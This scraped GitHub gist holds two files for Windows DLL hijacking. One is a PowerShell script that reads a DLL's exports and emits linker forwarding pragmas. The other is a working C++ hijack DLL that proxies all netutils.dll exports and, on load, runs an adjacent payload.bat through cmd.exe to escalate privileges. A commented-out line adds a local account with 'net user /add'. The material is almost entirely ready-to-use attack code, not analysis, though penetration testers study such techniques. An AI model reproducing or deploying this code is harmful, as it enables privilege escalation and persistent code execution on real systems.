-
-
Save davehardy20/3ed2ea557afe7b1ee041574768d93e83 to your computer and use it in GitHub Desktop.
DLL Hijack with exports
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Get-Exports { | |
<# | |
.SYNOPSIS | |
Get-Exports, fetches DLL exports and optionally provides | |
C++ wrapper output (idential to ExportsToC++ but without | |
needing VS and a compiled binary). To do this it reads DLL | |
bytes into memory and then parses them (no LoadLibraryEx). | |
Because of this you can parse x32/x64 DLL's regardless of | |
the bitness of PowerShell. | |
.DESCRIPTION | |
Author: Ruben Boonen (@FuzzySec) | |
License: BSD 3-Clause | |
Required Dependencies: None | |
Optional Dependencies: None | |
https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/master/Get-Exports.ps1 | |
.PARAMETER DllPath | |
Absolute path to DLL. | |
.PARAMETER CustomDll | |
Absolute path to output file. | |
.EXAMPLE | |
C:\PS> Get-Exports -DllPath C:\Some\Path\here.dll | |
.EXAMPLE | |
C:\PS> Get-Exports -DllPath C:\Some\Path\here.dll -ExportsToCpp C:\Some\Out\File.txt | |
#> | |
param ( | |
[Parameter(Mandatory = $True)] | |
[string]$DllPath, | |
[Parameter(Mandatory = $False)] | |
[string]$ExportsToCpp | |
) | |
Add-Type -TypeDefinition @" | |
using System; | |
using System.Diagnostics; | |
using System.Runtime.InteropServices; | |
using System.Security.Principal; | |
[StructLayout(LayoutKind.Sequential)] | |
public struct IMAGE_EXPORT_DIRECTORY | |
{ | |
public UInt32 Characteristics; | |
public UInt32 TimeDateStamp; | |
public UInt16 MajorVersion; | |
public UInt16 MinorVersion; | |
public UInt32 Name; | |
public UInt32 Base; | |
public UInt32 NumberOfFunctions; | |
public UInt32 NumberOfNames; | |
public UInt32 AddressOfFunctions; | |
public UInt32 AddressOfNames; | |
public UInt32 AddressOfNameOrdinals; | |
} | |
[StructLayout(LayoutKind.Sequential)] | |
public struct IMAGE_SECTION_HEADER | |
{ | |
public String Name; | |
public UInt32 VirtualSize; | |
public UInt32 VirtualAddress; | |
public UInt32 SizeOfRawData; | |
public UInt32 PtrToRawData; | |
public UInt32 PtrToRelocations; | |
public UInt32 PtrToLineNumbers; | |
public UInt16 NumOfRelocations; | |
public UInt16 NumOfLines; | |
public UInt32 Characteristics; | |
} | |
public static class Kernel32 | |
{ | |
[DllImport("kernel32.dll")] | |
public static extern IntPtr LoadLibraryEx( | |
String lpFileName, | |
IntPtr hReservedNull, | |
UInt32 dwFlags); | |
} | |
"@ | |
# Load the DLL into memory so we can refference it like LoadLibrary | |
$FileBytes = [System.IO.File]::ReadAllBytes($DllPath) | |
[IntPtr]$HModule = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($FileBytes.Length) | |
[System.Runtime.InteropServices.Marshal]::Copy($FileBytes, 0, $HModule, $FileBytes.Length) | |
# Some Offsets.. | |
$PE_Header = [Runtime.InteropServices.Marshal]::ReadInt32($HModule.ToInt64() + 0x3C) | |
$Section_Count = [Runtime.InteropServices.Marshal]::ReadInt16($HModule.ToInt64() + $PE_Header + 0x6) | |
$Optional_Header_Size = [Runtime.InteropServices.Marshal]::ReadInt16($HModule.ToInt64() + $PE_Header + 0x14) | |
$Optional_Header = $HModule.ToInt64() + $PE_Header + 0x18 | |
# We need some values from the Section table to calculate RVA's | |
$Section_Table = $Optional_Header + $Optional_Header_Size | |
$SectionArray = @() | |
for ($i; $i -lt $Section_Count; $i++) { | |
$HashTable = @{ | |
VirtualSize = [Runtime.InteropServices.Marshal]::ReadInt32($Section_Table + 0x8) | |
VirtualAddress = [Runtime.InteropServices.Marshal]::ReadInt32($Section_Table + 0xC) | |
PtrToRawData = [Runtime.InteropServices.Marshal]::ReadInt32($Section_Table + 0x14) | |
} | |
$Object = New-Object PSObject -Property $HashTable | |
$SectionArray += $Object | |
# Increment $Section_Table offset by Section size | |
$Section_Table = $Section_Table + 0x28 | |
} | |
# Helper function for dealing with on-disk PE offsets. | |
# Adapted from @mattifestation: | |
# https://github.com/mattifestation/PowerShellArsenal/blob/master/Parsers/Get-PE.ps1#L218 | |
function Convert-RVAToFileOffset($Rva, $SectionHeaders) { | |
foreach ($Section in $SectionHeaders) { | |
if (($Rva -ge $Section.VirtualAddress) -and | |
($Rva-lt ($Section.VirtualAddress + $Section.VirtualSize))) { | |
return [IntPtr] ($Rva - ($Section.VirtualAddress - $Section.PtrToRawData)) | |
} | |
} | |
# Pointer did not fall in the address ranges of the section headers | |
echo "Mmm, pointer did not fall in the PE range.." | |
} | |
# Read Magic UShort to determin x32/x64 | |
if ([Runtime.InteropServices.Marshal]::ReadInt16($Optional_Header) -eq 0x010B) { | |
echo "`n[?] 32-bit Image!" | |
# IMAGE_DATA_DIRECTORY[0] -> Export | |
$Export = $Optional_Header + 0x60 | |
} else { | |
echo "`n[?] 64-bit Image!" | |
# IMAGE_DATA_DIRECTORY[0] -> Export | |
$Export = $Optional_Header + 0x70 | |
} | |
# Convert IMAGE_EXPORT_DIRECTORY[0].VirtualAddress to file offset! | |
$ExportRVA = Convert-RVAToFileOffset $([Runtime.InteropServices.Marshal]::ReadInt32($Export)) $SectionArray | |
# Cast offset as IMAGE_EXPORT_DIRECTORY | |
$OffsetPtr = New-Object System.Intptr -ArgumentList $($HModule.ToInt64() + $ExportRVA) | |
$IMAGE_EXPORT_DIRECTORY = New-Object IMAGE_EXPORT_DIRECTORY | |
$IMAGE_EXPORT_DIRECTORY = $IMAGE_EXPORT_DIRECTORY.GetType() | |
$EXPORT_DIRECTORY_FLAGS = [system.runtime.interopservices.marshal]::PtrToStructure($OffsetPtr, [type]$IMAGE_EXPORT_DIRECTORY) | |
# Print the in-memory offsets! | |
echo "`n[>] Time Stamp: $([timezone]::CurrentTimeZone.ToLocalTime(([datetime]'1/1/1970').AddSeconds($EXPORT_DIRECTORY_FLAGS.TimeDateStamp)))" | |
echo "[>] Function Count: $($EXPORT_DIRECTORY_FLAGS.NumberOfFunctions)" | |
echo "[>] Named Functions: $($EXPORT_DIRECTORY_FLAGS.NumberOfNames)" | |
echo "[>] Ordinal Base: $($EXPORT_DIRECTORY_FLAGS.Base)" | |
echo "[>] Function Array RVA: 0x$('{0:X}' -f $EXPORT_DIRECTORY_FLAGS.AddressOfFunctions)" | |
echo "[>] Name Array RVA: 0x$('{0:X}' -f $EXPORT_DIRECTORY_FLAGS.AddressOfNames)" | |
echo "[>] Ordinal Array RVA: 0x$('{0:X}' -f $EXPORT_DIRECTORY_FLAGS.AddressOfNameOrdinals)" | |
# Get equivalent file offsets! | |
$ExportFunctionsRVA = Convert-RVAToFileOffset $EXPORT_DIRECTORY_FLAGS.AddressOfFunctions $SectionArray | |
$ExportNamesRVA = Convert-RVAToFileOffset $EXPORT_DIRECTORY_FLAGS.AddressOfNames $SectionArray | |
$ExportOrdinalsRVA = Convert-RVAToFileOffset $EXPORT_DIRECTORY_FLAGS.AddressOfNameOrdinals $SectionArray | |
# Loop exports | |
$ExportArray = @() | |
for ($i=0; $i -lt $EXPORT_DIRECTORY_FLAGS.NumberOfNames; $i++){ | |
# Calculate function name RVA | |
$FunctionNameRVA = Convert-RVAToFileOffset $([Runtime.InteropServices.Marshal]::ReadInt32($HModule.ToInt64() + $ExportNamesRVA + ($i*4))) $SectionArray | |
$HashTable = @{ | |
FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($HModule.ToInt64() + $FunctionNameRVA) | |
ImageRVA = echo "0x$("{0:X8}" -f $([Runtime.InteropServices.Marshal]::ReadInt32($HModule.ToInt64() + $ExportFunctionsRVA + ($i*4))))" | |
Ordinal = [Runtime.InteropServices.Marshal]::ReadInt16($HModule.ToInt64() + $ExportOrdinalsRVA + ($i*2)) + $EXPORT_DIRECTORY_FLAGS.Base | |
} | |
$Object = New-Object PSObject -Property $HashTable | |
$ExportArray += $Object | |
} | |
# Print export object | |
$ExportArray |Sort-Object Ordinal | |
# Optionally write ExportToC++ wrapper output | |
if ($ExportsToCpp) { | |
foreach ($Entry in $ExportArray) { | |
Add-Content $ExportsToCpp "#pragma comment (linker, '/export:$($Entry.FunctionName)=[FORWARD_DLL_HERE].$($Entry.FunctionName),@$($Entry.Ordinal)')" | |
} | |
} | |
# Free buffer | |
[Runtime.InteropServices.Marshal]::FreeHGlobal($HModule) | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Configuration Type: DLL | |
// Runtime Library: /MT | |
// Use of MFC: Use MFC in Static Library | |
// Architecture must match target _process_ | |
// Compile, place in directory with your payload.bat file | |
// https://hacknpentest.com/windows-privilege-escalation-dll-hijacking/ | |
#include "stdafx.h" | |
#pragma once | |
#pragma comment(linker, "/export:NetApiBufferAllocate=C:\\Windows\\System32\\netutils.NetApiBufferAllocate,@1") | |
#pragma comment(linker, "/export:NetApiBufferFree=C:\\Windows\\System32\\netutils.NetApiBufferFree,@2") | |
#pragma comment(linker, "/export:NetApiBufferReallocate=C:\\Windows\\System32\\netutils.NetApiBufferReallocate,@3") | |
#pragma comment(linker, "/export:NetApiBufferSize=C:\\Windows\\System32\\netutils.NetApiBufferSize,@4") | |
#pragma comment(linker, "/export:NetRemoteComputerSupports=C:\\Windows\\System32\\netutils.NetRemoteComputerSupport,@5") | |
#pragma comment(linker, "/export:NetapipBufferAllocate=C:\\Windows\\System32\\netutils.NetapipBufferAllocate,@6") | |
#pragma comment(linker, "/export:NetpIsComputerNameValid=C:\\Windows\\System32\\netutils.NetpIsComputerNameValid,@7") | |
#pragma comment(linker, "/export:NetpIsDomainNameValid=C:\\Windows\\System32\\netutils.NetpIsDomainNameValid,@8") | |
#pragma comment(linker, "/export:NetpIsGroupNameValid=C:\\Windows\\System32\\netutils.NetpIsGroupNameValid,@9") | |
#pragma comment(linker, "/export:NetpIsRemote=C:\\Windows\\System32\\netutils.NetpIsRemote,@10") | |
#pragma comment(linker, "/export:NetpIsRemoteNameValid=C:\\Windows\\System32\\netutils.NetpIsRemoteNameValid,@11") | |
#pragma comment(linker, "/export:NetpIsShareNameValid=C:\\Windows\\System32\\netutils.NetpIsShareNameValid,@12") | |
#pragma comment(linker, "/export:NetpIsUncComputerNameValid=C:\\Windows\\System32\\netutils.NetpIsUncComputerNameValid,@13") | |
#pragma comment(linker, "/export:NetpIsUserNameValid=C:\\Windows\\System32\\netutils.NetpIsUserNameValid,@14") | |
#pragma comment(linker, "/export:NetpwListCanonicalize=C:\\Windows\\System32\\netutils.NetpwListCanonicalize,@15") | |
#pragma comment(linker, "/export:NetpwListTraverse=C:\\Windows\\System32\\netutils.NetpwListTraverse,@16") | |
#pragma comment(linker, "/export:NetpwNameCanonicalize=C:\\Windows\\System32\\netutils.NetpwNameCanonicalize,@17") | |
#pragma comment(linker, "/export:NetpwNameCompare=C:\\Windows\\System32\\netutils.NetpwNameCompare,@18") | |
#pragma comment(linker, "/export:NetpwNameValidate=C:\\Windows\\System32\\netutils.NetpwNameValidate,@19") | |
#pragma comment(linker, "/export:NetpwPathCanonicalize=C:\\Windows\\System32\\netutils.NetpwPathCanonicalize,@20") | |
#pragma comment(linker, "/export:NetpwPathCompare=C:\\Windows\\System32\\netutils.NetpwPathCompare,@21") | |
#pragma comment(linker, "/export:NetpwPathType=C:\\Windows\\System32\\netutils.NetpwPathType,@22") | |
#include <windows.h> | |
#include <string> | |
#include <atlstr.h> | |
//HINSTANCE hDll = LoadLibraryA("trustworthy.dll") | |
CStringW ThisDllDirPath() | |
{ | |
CStringW thisPath = L""; | |
WCHAR path[MAX_PATH]; | |
HMODULE hm; | |
if (GetModuleHandleExW(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT, (LPWSTR)&ThisDllDirPath, &hm)) | |
{ | |
GetModuleFileNameW(hm, path, sizeof(path)); | |
PathRemoveFileSpecW(path); | |
thisPath = CStringW(path); | |
if (!thisPath.IsEmpty() && | |
thisPath.GetAt(thisPath.GetLength() - 1) != '\\') | |
thisPath += L"\\"; | |
} | |
return thisPath; | |
} | |
int Exploit() | |
{ | |
// Create the command line | |
std::wstring fullpath(TEXT("cmd.exe /C \"")); | |
fullpath += ThisDllDirPath(); | |
fullpath += std::wstring(TEXT("payload.bat\"")); | |
TCHAR * fullpathwc = (wchar_t *)fullpath.c_str(); | |
// Start a new process using the command line | |
STARTUPINFO info = { sizeof(info) }; | |
PROCESS_INFORMATION processInfo; | |
CreateProcess(NULL, fullpathwc, NULL, NULL, TRUE, CREATE_DEFAULT_ERROR_MODE, NULL, NULL, &info, &processInfo); | |
//std::wostringstream s; | |
//s << L"C:\\Windows\\System32\\cmd.exe /c net user /add user password"; | |
//std::wstring cmdLine = s.str(); | |
//CreateProcessW(NULL, &cmdLine[0], NULL, NULL, FALSE, 0, NULL, NULL, &info, &processInfo)) | |
return 0; | |
} | |
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) | |
{ | |
switch (fdwReason) | |
{ | |
case DLL_PROCESS_ATTACH: | |
Exploit(); | |
break; | |
case DLL_THREAD_ATTACH: | |
break; | |
case DLL_THREAD_DETACH: | |
break; | |
case DLL_PROCESS_DETACH: | |
break; | |
} | |
return TRUE; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment